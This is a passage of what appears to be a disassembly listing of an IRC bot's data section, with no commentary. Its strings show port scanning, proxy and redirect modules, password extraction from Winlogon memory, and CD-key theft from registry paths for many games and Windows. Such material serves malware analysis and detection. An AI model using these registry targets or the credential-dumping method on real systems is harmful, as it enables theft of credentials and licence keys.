aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 unk_426A40 db 2 ; DATA XREF: sub_405898+DBo ; sub_40D2E0+5343o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 10h aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_405C74+38o ; sub_409526+46o unk_426A9C db 2 ; DATA XREF: sub_405DAD+EEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_426AD4 db 2 ; DATA XREF: sub_405DAD+93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_426B20 db 2 ; DATA XREF: sub_405FC5+1CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_426B74 db 2 ; DATA XREF: sub_405FC5+173o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 10h unk_426BC0 db 2 ; DATA XREF: sub_405FC5+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_426C08 db 2 ; DATA XREF: sub_405FC5+87o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 10h unk_426C50 db 2 ; DATA XREF: sub_406224+156o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 unk_426C9C db 2 ; DATA XREF: sub_406224+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_426CF4 db 2 ; DATA XREF: sub_4063AC+1AAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 unk_426D44 db 2 ; DATA XREF: sub_4063AC+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_426D98 db 2 ; DATA XREF: sub_406630+1B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 4 unk_426DD8 db 2 ; DATA XREF: sub_406630+18Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_426E20 db 2 ; DATA XREF: sub_406630+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_426E74 db 2 ; DATA XREF: sub_406630+A8o ; sub_40D2E0+5E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_426EAC db 2 ; DATA XREF: sub_406835+1F9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_426EFC db 2 ; DATA XREF: sub_406835+18Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 unk_426F48 db 2 ; DATA XREF: sub_406835+F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_406BF9+11o aWindow db 'Window',0 ; DATA XREF: sub_406E34+23o ; sub_40702D+26o align 8 dd 80000001h off_426FAC dd offset aSoftwareValveC ; DATA XREF: sub_40726C+Cr ; sub_40726C+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_426FB8 dd 2 dup(0) ; DATA XREF: sub_40726C+26o dd 80000001h, 428140h, 428134h, 428124h, 2 dup(0) dd 80000001h, 428104h, 428100h, 4280ECh, 2 dup(0) dd 80000001h, 4280C8h, 428100h, 4280BCh, 2 dup(0) dd 80000001h, 428098h, 428090h, 42807Ch, 2 dup(0) dd 80000001h, 428068h, 428058h, 42803Ch, 2 dup(0) dd 80000001h, 427FF8h, 428180h, 427FE4h, 2 dup(0) dd 80000002h, 427FB8h, 427FACh, 427F8Ch, 2 dup(0) dd 80000002h, 427F58h, 428180h, 427F40h, 2 dup(0) dd 80000002h, 427F0Ch, 428180h, 427EF4h, 2 dup(0) dd 80000002h, 427EDCh, 428180h, 427EC4h, 2 dup(0) dd 80000002h, 427E88h, 4325D8h, 427E78h, 2 dup(0) dd 80000002h, 427E40h, 4325D8h, 427E2Ch, 2 dup(0) dd 80000002h, 427DE0h, 4325D8h, 427DC0h, 2 dup(0) dd 80000002h, 427D70h, 4325D8h, 427D44h, 2 dup(0) dd 80000002h, 427D08h, 4325D8h, 427CF4h, 2 dup(0) dd 80000002h, 427CBCh, 4325D8h, 427CACh, 2 dup(0) dd 80000002h, 427C5Ch, 4325D8h, 427C30h, 2 dup(0) dd 80000002h, 427BF0h, 4325D8h, 427BD4h, 2 dup(0) dd 80000002h, 427BA4h, 4325D8h, 427B84h, 2 dup(0) dd 80000002h, 427B48h, 4325D8h, 427B34h, 2 dup(0) dd 80000002h, 427AECh, 4325D8h, 427ACCh, 2 dup(0) dd 80000002h, 427A78h, 4325D8h, 427A48h, 2 dup(0) dd 80000002h, 4279F8h, 4325D8h, 4279CCh, 2 dup(0) dd 80000002h, 42798Ch, 427984h, 427964h, 2 dup(0) dd 80000002h, 427920h, 4325D8h, 427904h, 2 dup(0) dd 80000002h, 4278B8h, 4325D8h, 427894h, 2 dup(0) dd 80000002h, 427860h, 4325D8h, 427854h, 2 dup(0) dd 80000002h, 427820h, 4325D8h, 427814h, 2 dup(0) dd 80000002h, 4277E0h, 4325D8h, 4277D4h, 2 dup(0) dd 80000002h, 4277A0h, 4325D8h, 427794h, 2 dup(0) dd 80000002h, 427758h, 4325D8h, 427744h, 2 dup(0) dd 80000002h, 427708h, 4325D8h, 4276F4h, 2 dup(0) dd 80000002h, 4276C4h, 428180h, 4276A8h, 2 dup(0) dd 80000002h, 427688h, 427680h, 42765Ch, 2 dup(0) dd 80000002h, 427640h, 427680h, 427620h, 2 dup(0) dd 80000002h, 427600h, 427680h, 4275DCh, 2 dup(0) dd 80000002h, 4275C4h, 427680h, 4275C0h, 2 dup(0) dd 80000002h, 4275A4h, 427594h, 42758Ch, 2 dup(0) dd 80000002h, 427558h, 427554h, 42753Ch, 2 dup(0) dd 80000002h, 427500h, 4274F4h, 4274CCh, 4274BCh, 4274A8h dd 80000002h, 427484h, 427478h, 427464h, 427454h, 42744Ch dd 80000002h, 427484h, 427478h, 427420h, 427454h, 427418h dd 80000002h, 427484h, 427478h, 4273E8h, 427454h, 4273E0h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 10h aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 10h db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 10h aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 10h db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 10h aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 10h db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 10h db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 10h db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 10h db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 10h db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 10h db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 10h aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 10h db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 10h aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 10h aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 10h aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 10h aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: _2:00426FB4o aCdkey db 'CDKey',0 ; DATA XREF: _2:00426FB0o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: _2:off_426FACo align 10h asc_4281B0: ; DATA XREF: sub_40726C+E9o ; sub_40726C+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_40726C+8Fo ; sub_40D2E0:loc_411AB1o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_40726C+7Eo ; sub_40752B+45o ... align 10h aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_40726C+2Bo align 4 unk_4281D4 db 2 ; DATA XREF: sub_407410+C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_428204 db 2 ; DATA XREF: sub_407410+5Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_40752B+107o align 4 aS_4 db '%s\*',0 ; DATA XREF: sub_40752B+1Ao align 4 unk_428254 db 2 ; DATA XREF: sub_40767D:loc_4077F6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToEnable db ' Failed to enable Debug Privilege.',0 align 4 unk_428298 db 2 ; DATA XREF: sub_40767D:loc_4077C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindWi db ' Unable to find Winlogon Process ID.',0 unk_4282DC db 2 ; DATA XREF: sub_40767D:loc_4077C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindTh db ' Unable to find the password in memory.',0 align 4 unk_428324 db 2 ; DATA XREF: sub_40767D+117o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(no password)).',0 align 4 aUserdomain: ; DATA XREF: sub_40767D+DCo unicode 0, <USERDOMAIN>,0 align 4 aUsername: ; DATA XREF: sub_40767D+CEo unicode 0, <USERNAME>,0 align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_40767D+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_40767D+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_40767D+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_40767D+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_40767D+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_40767D+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_40767D+40o ; sub_40767D+161o ... align 4 unk_428478 db 2 ; DATA XREF: sub_40767D+35o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aOnlySupportedO db ' Only supported on Windows NT/2000.',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_40784F+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_40784F+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_40784F+AFo align 4 unk_4284D8 db 2 ; DATA XREF: sub_407CB5+70o ; sub_407D4C+C7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/%S).',0 align 4 unk_428544 db 2 ; DATA XREF: sub_407D4C+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(N/A)).',0 align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_407E65+C50o align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_407E65+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_407E65:loc_408AA0o ; _6:off_4E0BE8o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_407E65+BE6o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_407E65+BD9o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_407E65+BCCo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_407E65+BBFo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_407E65+BB2o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_407E65+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_407E65:loc_408A02o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_407E65+B68o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_407E65+B60o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_407E65:loc_4089B8o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_407E65+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_407E65+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_407E65+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_407E65+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_407E65:loc_408944o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_407E65+AAAo align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_407E65+AA2o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_407E65:loc_4088FAo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_407E65+A60o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_407E65+A58o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_407E65:loc_4088B0o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_407E65+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_407E65+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_407E65+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_407E65+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_407E65+99Ao align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_407E65+98Do align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_407E65+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_407E65+973o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_407E65+966o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_407E65+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_407E65+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_407E65:loc_4087A5o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_407E65+903o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_407E65+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_407E65+8EEo align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_407E65:loc_408746o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_407E65+8B4o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_407E65+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_407E65+835o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_407E65+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_407E65+81Bo align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_407E65+80Eo align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_407E65+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_407E65+7F4o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_407E65+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_407E65+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_407E65+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_407E65:loc_408626o aClosesocket db 'closesocket',0 ; DATA XREF: sub_407E65+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_407E65+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_407E65+66Eo align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_407E65+661o align 4 aGethostname db 